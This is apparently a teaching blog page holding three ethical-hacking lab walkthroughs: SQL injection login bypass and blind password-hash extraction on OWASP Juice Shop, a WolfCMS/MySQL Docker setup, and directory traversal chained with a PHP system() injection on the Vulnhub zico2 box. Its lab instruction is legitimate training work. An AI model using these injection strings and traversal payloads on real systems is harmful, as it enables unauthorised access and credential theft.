Wednesday, November 15, 2017

Docker with Juiceshop - Focus on SQL Injection

In preparation for an ethical hacking class that I will be teaching, I wanted to work through a few of the Vulnhub or docker images to refresh my knowledge on the tools that can be used.  Also, to provide step-by-step walk-through exercises that students can follow.

Previous Posts that can assist with this Walkthrough
1. Billu_b0x - Highlights a Local File Inclusion vulnerability
2. Seattle - Highlights Brute Forcing a Login and XSS
3. Zico2 - Highlights directory traversal and PHP Command Injection
4. Docker with WolfCMS and MySQL Images
5. Exploitation of WolfCMS using Command Injection and usage of Web Shells

Tools Used:
VMware Workstation 12 Player
PuTTY or SSH client on host computer
Kali Linux Distro VM (Downloaded the VM edition from kali.org)

1 - docker
2 - docker image called bkimminich/juice-shop

Lab
1. Start the docker service running on Kali that we previously loaded.

Command: service docker start

2. Search docker hub for the bkimminich/juice-shop image and then pull it.

Command: docker search juice-shop
Command: docker pull bkimminich/juice-shop

* Remember that the image is as is and should be trusted as such...

3. After you have pulled the image, go ahead and load it.

Command: docker run -it bkimminich/juice-shop
Command: Ctrl <p> <q> to leave it running and go back to the console

4. Juice-Shop runs on port 3000.  From my host I am going to connect through SSH and use X11 Forwarding.

Command: ssh -X root@172.16.214.134

5. With X11 Forwarding I will launch 3 different terminals.  In the first terminal I am going to execute "firefox", second to execute "owasp-zap" and third as a command line to be utilized.  The below screenshot shows the 3 terminals, 1 loading firefox, with firefox and owasp open.


6.  With juice shop loaded and working through a proxy we are going to look for a SQL injection vulnerability.  In the top-left corner of Juice-Shop click on login.  You should be presented with the following screen.


7.  I am going to put in a legitimate email and a test password and click login.  You should see the error message of "Invalid email or password".  Now let's check what the OWASP Zap Proxy recorded as the request.


8.  Notice in the above request the information sent in a POST request is in JSON format.  This format shows the parameter and then following the colon the value that is sent.  Let's attempt some SQL injection on the username.  Type in the following for the username and the password.

Username: admin@admin.com' OR '1'='1'--;
Password: test



9. You should see that the page treats the username and password as a correct combination and allows the login.  What we are doing is changing the SQL statement and ending it with the --;.  This prevents the password from being read and tricks the application into authenticating the user because 1 does equal 1.

10.  Let's use the proxy to take the request, use the manual request editor and then test some more SQL injection.   To open the Manual Request Editor it is located under Tools...  After it loads you can delete the text and then copy what you see in the previous screenshot or the request and copy it into the Manual Request Editor.

11.  Now that we can manually adjust the request we can conduct SQL Injection and receive a HTTP code of 200 if it worked or HTTP code of 401 if it did not.  I am going to try and execute a SQL function called test() to see what results we receive back through the proxy.  I am expecting an error to show.

JSON: admin@admin.com' OR '1'=test('1')--;

12.  Below is the error that is received.  We can learn the structure of the query that we are tampering with, how we can take advantage of it and the database that is running.



13. We can see the above query that is being executed is as shown below. 

SQL: SELECT * FROM Users WHERE email = '<userinput>' AND password = '<hashed input>'

14. Now we are going to use SQL injection to identify the emails in the database that we can use to login.  If we receive a HTTP response code of 200 we will receive an email address.  If we receive another code then an email will not be returned.

JSON inject: admin@admi.com' OR 'a'=substr(email,1,1)--;

So reflecting back on the SQL statement in step 13 we are saying SELECT everything FROM the Users table where the email is admin@admi.com (which does not exist) or with a is equal to the first character returned from the email. 
Click "Send" on the Manual Request Editor.



15. The response comes back with an "HTTP/1.1 200" code which means it successfully authenticated and then it displays the email address of "admin@juice-sh.op".


16.  Let's try and find an email that starts with another letter of the alphabet.

JSON inject: admin@admi.com' OR 'b'=substr(email,1,1)--;



17. The response came back with the email address of "bender@juice-sh.op".  What if multiple emails start with the letter "a".  You could inspect the email for 2 characters that match the first 2 letters of the email.

JSON inject: admin@admi.com' OR 'be'=substr(email,1,2)--;

To gather all of the emails in the database you could cycle through all of the letters of the alphabet.  What I would do is build a python script to conduct this activity however, my next step is to gather the password for the admin@juice-sh.op email account.

18.  Let's modify the injection to begin guessing what the password is based on if we receive an HTTP/1.1 200 response code.

JSON inject: admin@juice-sh.op' AND 'a'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND 'b'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND 'c'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND 'd'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized
...
JSON inject: admin@juice-sh.op' AND '0'=substr(password,1,1)--;
-- Passing the number zero.
HTTP/1.1 200 OK

19. So we now understand that the password begins with the number zero or '0'.  Let's move on and figure out the next character of the password.  We are unsure at this time if it is a hash, encrypted, or in plain-text.


JSON inject: admin@juice-sh.op' AND '00'=substr(password,1,2)--;
-- Passing the number zero two times.
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND '01'=substr(password,1,2)--;
-- Passing the number zero and a one.
HTTP/1.1 200 OK

20. Now we understand that the password starts with a zero and a one, or '01'.  Then we can move onto the next character.  This is a very long process if we are to do it manually.  Let's use the OWASP ZAP fuzzing feature to speed this process up for us.

21. First let's use a program on Kali called crunch to generate a wordlist that starts with '01'.

Command: crunch 3 3 -t 01% - Generates a wordlist with numbers 0-9
Command: crunch 3 3 -t 01@ - Generates a wordlist with letters a-z

You can view the man page of crunch by executing "man crunch".  The -t option starts each word with '01' and then appends a number with the '%'.  If you want to append a lower-case letter then use the '@'. Upper-case letters then use the ','.




23. Back to the manual request editor and modify the JSON inject to look at the first 3 characters of the password.

JSON inject: admin@juice-sh.op' AND '010'=substr(password,1,3)--;
-- Passing the number zero, one and then 0.
HTTP/1.1 401 Unauthorized

24. Go back to the main window in Zap, scroll down in the history until you find the last entry that you sent in step 23.   Then, highlight the 010 and right-click and click on fuzz.


25. We are now going to set the payload to use the 3char-list.txt file and click "Start Fuzzer".  After the fuzzer is complete, click on the column heading under Fuzzer of code, then scroll to the top, and then click on the first entry.  You should see the code is 200 which means the injected query was successful.  This then allows us to see the 3rd character of the password is the number 9.


26.  Keep working with the above process to figure out the password for the admin@juice-sh.op account.

Challenge: Write a script to do the exact same process but in a more automated way.

Challenge: What is the password for the admin@juice-sh.op account?

Challenge: What is the password for the other accounts in the database?

27.  After doing the above process for a while you will be able to extract the full hash of the password used by the admin@juice-sh.op account.  One reason in a pentest you do not want to reset the admin account because it may cause interruptions.

Below is a screenshot of the small bash script I wrote to assist in this...


28.  Be careful what you use to crack a password hash.  If you are on a private engagement they probably want you to use a private hash cracker.  For this exercise I used crackstation.net.



Wednesday, November 8, 2017

Monday, November 6, 2017

Docker with WolfCMS and MySQL Images Setup

In preparation for an ethical hacking class that I will be teaching, I wanted to work through a few of the Vulnhub images to refresh my knowledge on the tools that can be used.  Also to provide step-by-step walk-through exercises that students can follow.

This walk through assumes you worked through the previous posts on  Billu_b0x, Seattle and Zico2.  Some items will not be explained that were explained in the previous posts.

The idea of using WolfCMS comes from a vulnhub image called SickOS 1.1.  However, I found the SickOS 1.1 image to be unstable so I am going to run WolfCMS through docker.  The vulnhub image can be found here.

With using docker it makes it really quick to load and unload images that you would like to load for security testing.  Docker is amazing...

Tools Used:
VMware Workstation 12 Player
PuTTY or SSH client on host computer
Kali Linux Distro VM (Downloaded the VM edition from kali.org)

1 - docker
2 - docker image called wolfcms/wolfcms
3 - docker image called mysql
4 - Create a MySQL user and Set a password for MySQL user


Lab

1.  To setup Docker on the Kali Linux VM I followed the following instructions at this link.   I have also recorded in a post some helpful information that you will need to know as we interact with docker, located here.  I am utilizing about 4GB of memory for my Kali VM with 2 processors.

2. Remember that the images that you can pull down from "Docker Hub" are as is and should not be trusted.

3. Alright, to begin let's start the service for docker on Kali.  I am also going to do this through an SSH session from my host to the Kali VM.

Command: service docker start

4. With docker running successfully, I am going to search "Docker Hub" for a wolfcms image.

Command: docker search wolfcms



5. Next we are going to pull down the image from docker hub by running the following command with the full name of the image found.  (The screenshot is not exactly what you will see but will be similar.)

Command: docker pull wolfcms/wolfcms



6.  Now that the image has been pulled, let's run the image in interactive mode, you will be at a console as if you connected to it through SSH.

(Optional Command): docker images (You can view if the image was pulled.)
Command: docker run -it wolfcms/wolfcms bash


*Notice that the docker image for wolfcms/wolfcms was created almost 3 years ago. 

7.  Now that you are at the command line of the image, we need to check and see if the apache2 web server is running and serving the pages.  Then start the web server if it is not running and identify the IP Address of the configuration.

Command: service apache2 status
Command: service apache2 start
Command: ifconfig



8.  The IP Address will be unique to your configuration and if you assign the IP Address, which you can.  With the IP Address of 172.17.0.2 I am going to launch Firefox through X11 forwarding and visit that page as if I was on 172.17.0.2.  If you successfully did this you should see the below screenshot:




9.  Notice that the 2 items we need to take care of at this time are: first, make the config file writeable and then make the public directory writeable.  After we run the below command, then I will click on test again and it should change to "Continue to Install".

Command: cd /var/www/html/wolfcms
Command: chmod 777 config.php (Dangerous to do for any file)
Command: chmod 777 public        (Also dangerous to do for any directory)



10. After you continue to the next step of the installation, you will notice that it is asking for the connection information for a MySQL server.  In the below steps we are going to use docker to pull down a MySQL server image. 

11.  However, prior to moving on, if you were to type "exit" on the connection you have to wolfcms you would loose that we started the apache2 server and the changes to the configuration file.  Remember to use Ctrl <p> <q> to leave the interactive console with leaving the image running.

Command: Ctrl <p> <q>

12.  Now let's search for the officially supported MySQL docker image, pull it and run it.

Command: docker search mysql
Command: docker pull mysql
Command: docker run -it mysql bash


13. To setup the mysql server we need to start the service and login as the root account.  The password for the root account is <blank>.

Command: service mysql status
Command: service mysql start
Command: mysql -u root -p


14.  Let's setup a password for the root account.  Then query the root account and explain more of what we are seeing.

Command: Update mysql.user SET authentication_string = PASSWORD('class555!'), password_expired='N' WHERE user='root' and host='localhost';

Command: SELECT user, authentication_string, host FROM user; (Verify the password was setup.)

Command: flush privileges;



15. Notice after you set the password you need to flush privileges.  You can google why that is necessary!  Notice also that the host states that the account is good for the localhost.  The IP Address of the WolfCMS for my image is 172.17.0.2.  I need to create an account that can connect to the MySQL database from that host IP Address.

16.  First, let's create the database wolfcms on the MySQL server.  Create the connect user with the source host being 172.17.0.2 with a password.  Then, grant privileges of the new connect user to have full access to the wolfcms database. 

Command: create database wolfcms;
Command: CREATE USER 'connect'@'172.17.0.2' IDENTIFIED BY 'class555@';
Command: GRANT ALL PRIVILEGES ON wolfcms.* TO 'connect'@'172.17.0.2';



17.  After this is setup, go back and input the database settings in the WolfCMS configuration page.  Input the IP Address assigned to the MySQL docker image.  (You may need to from the command-line update the repository and install net-tools.  apt-get update; apt-get install net-tools; ifconfig).  Then click "Install Now!".


18. If the installation was successful you should see the below screen.  Notice that the admin password is randomly created.  Remember it, until you change it.  Then follow the install actions listed below.

19.  To complete the "Post install actions", you need to disconnect with Ctrl <p> <q> from the mysql image, unless you have a console open for each. Then reattach to the wolfcms image, you can do this by calling the Nick Name of "elastic_hopper" or whatever is assigned.

Command: Ctrl <p> <q>
Command: docker ps (Verifies both images are running and displays name)
Command: docker attach elastic_hopper


20.  Now that we are reconnected we can remove the install folder, remove the write privileges on the config.php file and remove the docs/ folder and readme.txt.

Command: rm -rf wolf/install
Command: chmod 444 config.php
Command: rm -rf docs
Command: rm README.md


21.  Then navigate to the login page of the wolfcms at http://172.17.0.2/?/admin.  Input admin for the username and the provided random password.  If you did everything correctly you should see the following screenshot, with a warning that a newer version is available.


22.  Wow! That took some work, but honestly it is easier than building a VM.  However, let's save our work and commit the docker images so we do not loose the configuration.  Also, if we do this, if we break the running instances of the images by running security testing on it, we can close the running instances and spin up new ones.



We will use these docker images in a future post walking through some vulnerabilities found.  I am not able to release the post yet due to responsibly re-disclosing vulnerabilities to the authors of the software.

I wanted to go through the detail of setting up images with docker for security testing.  This can be used to setup and configure multiple images.  Here are a few images you can use for security testing and there are many more:

Command: docker search <keyword>

Keywords:
bwapp - Broken Web Applications
metasploitable - Metasploitable - Many tutorials exist for this image
OWASP - Tools that are created by OWASP including Zap, etc.
...and many more...

Saturday, November 4, 2017

Vulnhub: zico2

In preparation for an ethical hacking class that I will be teaching, I wanted to work through a few of the Vulnhub images to refresh my knowledge on the tools that can be used.  Also to provide step-by-step walk-through exercises that students can follow.

This walk through assumes you worked through the previous post on the Billu_b0x and Seattle.  Some items will not be explained that were explained in the previous posts.

Vulnhub Link: https://www.vulnhub.com/entry/zico2-1,210/

Tools Used:
VMware Workstation 12 Player
PuTTY or SSH client on host computer
Zico2 VM
Kali Linux Distro VM (Downloaded the VM edition from kali.org)


1 - dirbuster - Directory Buster
2 - python 2.7 (You could use 3)
3 - exploitdb
4 - Command Injection
5 - Firefox Web Browser

Lab

1. We are going to build a simple python program to be our port scanner this time.  I am demonstrating building the script on the Kali VM.  Below is a script that you can create:


To talk through the script.  You are going to create a raw socket so you need to import the library of socket.  Then an IP Address will be input to be scanned.  An endless while loop will begin until you hit Ctrl ^C to exit.  It will then ask you the port to check, connect to the port and if is it successful return that it is open.


2. Sometimes during a test you need to create a script to accomplish a task that a tool can not do, or you need to do a specific task to be quite on the wire instead of using a tool that can be very noisy.  In the below example I am going to compare nmap with the python script.

3. If I use nmap to scan ports 21,22 and 80 of the zico2 virtual machine and I am going to capture the packets with wireshark listening on vmnet1.  Notice the number of tcp packets:

Command: nmap -p 21,22,80 172.16.216.132


4. In the below example, I am going to run the python script that I called, "simple.py".  I am going to capture the packets utilizing wireshark.  The first command I am going to run is to make the python script executable.  The second one is going to execute the python script.

Command: chmod 700 simple.py
Command: ./simple.py




5. You can see that the script functions very similar to nmap.  Also, another point I would like to make is you need to know the tools that you use.
     - Identify how noisy your tools are or are not.
     - Know what you are sending across the wire in the packets.
     - What information of your host is sent? Are you being incognito?
     
6.  After recognizing the web page is available through the port scan.  View the source code of the home page.  A tool called a spider will follow each link that it finds.  Notice the URL http://172.16.216.132/view.php?page=tools.html.  By reading the URL the view.php page has a parameter called page that calls a file tools.html.

7.  Notice that if it calls a page as we did in the Billu Box post, we could probably access any file.  To do this we are going to test to see if the web application is vulnerable to directory traversal.  Directory traversal is where you can call a file outside of the web servers root directory that is on the server.  A test would be to see if /etc/passwd could be accessed.

URL: http://172.16.216.132/view.php?page=../../../../etc/passwd

8.  Because this vulnerability can be exploited, let's build another python script that will assist us in looking at the files on the file system easier than in the browser.  Below is the script you can create.  You could also use a fuzzer to gather this information with a file list that you utilize.


To talk through this script you are going to import the library urllib2, have a URL input, add characters for directory traversal and then a specified full path to a filename that could be on the file system.  If successful it will return the file.  Here are a few filenames to try and access:

/etc/passwd (Notice the home directories of the users)
/etc/ssh/sshd_config (Helps you understand how the SSH Server is configured)
/home/zico/.bashrc (Validates the home directory exists)
/etc/crontab (Learn about scheduled jobs if they exist in this file)

Challenge: Build a list of files that could provide you useful information if you find a future directory traversal vulnerability.

Challenge: Use Zap or Burp proxy to fuzz the list of files that you found.

Challenge: Add to the python script the ability to save the files that are collected.

9.  With the above gathering of the files, notice that these would be through a GET request.  The filename that you are calling through directory traversal would be in an apache2 log file.  

10.  Next, use a directory buster and identify the pages that are available.  Reference previous posts to conduct this.



11.  We are going to evaluate the directory of dbadmin because it sounds interesting.  After browsing to that directory you find that the browser lists the files in the directory.



12.  Listing of the files inside of a directory should not be allowed.  You should configure the directories permissions correctly to not display the files, however most of time developers will place an index.php or index.html file that is empty in every directory.  This will present a blank page if the directory is called due to the Apache web server calling and looking for an index.php or index.html file.  Test this, don't make assumptions that it works.

13.  You can click on the file "test_db.php" and it brings up the following image:



14.  The first thing I would do is google the tool displayed on the web site, version and then follow it with "exploit".  As shown below in the google search.

15.  Notice, probably on the first page will be reference to a page called https://www.exploit-db.com.  At this point in time, the site has over 38,000 exploits.  The exploit shown allows us to inject code into the PHPLiteAdmin application and run it.

16.  Before we use this exploit that was found, on Kali is an up-to-date copy of this online exploit-db based on the last time you updated Kali.  You can navigate to it by going to /usr/share/exploitdb/.



17.  Then you can go to that directory and use a tool called searchsploit to search for a keyword related to an exploit.  Why would you want an offline cache of these exploits? Sometimes as a penetration tester you do not have internet access to browse the exploits or what you browse will be filtered preventing you from downloading the exploits.  You want to try and not create too many logs from the tools that you are using.

Command: ./searchsploit phplite




18.  For the first exploit you can browse to /usr/share/exploitdb/platforms/php/webapps/24044.txt and cat it to the screen.  After reading about the exploit try and follow and do what it says.

19.  First of all we need to get past the password screen, so we can create the database.  Try some common passwords that you know and see if you can get in.  You should identify the password quickly.



20.   With the above access create a new database called, "test_info".  If you did it correctly you should see test_info underneath the Change Databases section.



21.  Following the published information about the exploit on exploitdb, click on the database of test_info that you created, then select rename database, add the .php extension at the end and then click on rename.


22. Then click on structure and create a table called pages with 1 field.


23.  Then I created a field called my, with type TEXT (This is important), and then I inserted a default value of text.  Click create.  Then click "return" on the next page.


24.  Click on pages, under name.  This selects the table, and takes you to the next page.  Then click on "Click here" to insert rows.

--- Next Page ---


25. Then it asks you for the value that you would like to insert for the first row.  For this value type in the following:

Value: <?php system("whoami"); ?>


26.  Then click insert.  But before we move on let's recap what we have done.  We renamed or called the database test_info.php.  Created a table called pages.  Then we inserted a row with some php code.  The php code when executed will run a system command of "whoami".  The command will return the user that is running the command.

27.  How do we get the web server to execute the value in the table pages, in the database test_info.php, and located at /usr/databases/test_info.php.  Earlier we created a directory traversal script that could be used to execute the command by calling the test_info.php file.

28.  Let's modify/create a new script to be more specific to the output of that file.  I took away the prompts, statically set the url and readFile values.  Then I modified the while loop to if I click "y" to refresh it will return the output for me.



29.  Below is the output of the script if it was created successfully.  I ran the script once before I inserted the row above into the table that had the command of whoami.  Then I refreshed the output to see the results of the "whoami" command.


30.  Notice above the output of the interpreted php code that is inside the value of the table in the sqllite database displays "www-data".  Now we could go back and modify this php code to execute additional commands.  You can also chain commands together and separate them with a semi-colon.

31. You now have command execution through a chain of vulnerabilities.  The first vulnerability is a directory traversal.  Then a second vulnerability is being able to rename the database to have a php extension that can be interpreted by the web server if called, then the ability to input php code into a value in the database.

32.  To complete this challenge you need to get root on the box.  The walkthrough that is currently posted is posted here.  He utilizes the same chain of vulnerabilities, then uses metasploit to get a meterpreter shell.  Work through how he does it.

Challenge: Go back through and document how you could prevent these vulnerabilities.  Try and conduct the changes.  Without the directory traversal are there other vulnerabilities that could be exploited?

Enjoy!

Docker with Juiceshop - Focus on SQL Injection

In preparation for an ethical hacking class that I will be teaching, I wanted to work through a few of the Vulnhub or docker images to refr...